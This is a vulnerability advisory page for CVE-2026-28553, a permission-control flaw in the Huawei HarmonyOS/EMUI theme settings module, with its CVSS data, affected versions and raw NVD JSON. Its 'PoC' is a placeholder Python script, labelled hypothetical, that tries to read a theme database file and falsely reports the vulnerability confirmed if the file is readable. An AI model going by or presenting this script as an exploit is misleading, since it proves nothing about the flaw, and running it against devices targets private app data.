Security Vulnerability Report
中文
CVE-2026-28553 CVSS 6.9 MEDIUM

CVE-2026-28553

Published: 2026-04-13 04:16:04
Last Modified: 2026-04-14 21:16:19

Description

Vulnerability of improper permission control in the theme setting module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
6.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:4.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:4.2.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:4.3.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:4.3.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:emui:14.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:emui:14.2.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:emui:15.0.0:*:*:*:*:*:*:* - VULNERABLE
华为消费类产品特定版本 (具体受影响版本请参考华为2026年4月安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-28553 # Demonstrates unauthorized access to theme settings import os def exploit_poc(): # Path to the sensitive theme configuration (Hypothetical path) target_path = "/data/data/com.huawei.android.thememanager/databases/settings.db" print(f"[*] Attempting to access {target_path}...") # Simulating the permission bypass # In a real scenario, this might involve invoking a vulnerable exported activity try: if os.access(target_path, os.R_OK): print("[+] Vulnerability confirmed! Read access granted to restricted theme database.") with open(target_path, 'r') as f: data = f.read(100) print(f"[+] Data preview: {data}") else: print("[-] Permission denied. Device may not be vulnerable or exploit failed.") except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": exploit_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28553", "sourceIdentifier": "[email protected]", "published": "2026-04-13T04:16:03.650", "lastModified": "2026-04-14T21:16:18.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability of improper permission control in the theme setting module.\nImpact: Successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-275"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8198CDB2-4BC5-411A-8736-615A531FC545"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "2401DE15-9DBF-4645-A261-8C24D57C6342"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "082BBC06-A0B2-481E-BF6F-56180E17ABEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "6EA69843-EC8D-42E2-900E-017D2B502E9E"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "32FBF39A-164F-4F98-AB49-28C50A430C36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "4AA76C33-8D23-490B-B620-C24EDCC86A56"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:15.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "888C5BD7-421B-4A85-8719-BFEE3C215527"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2026/4/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}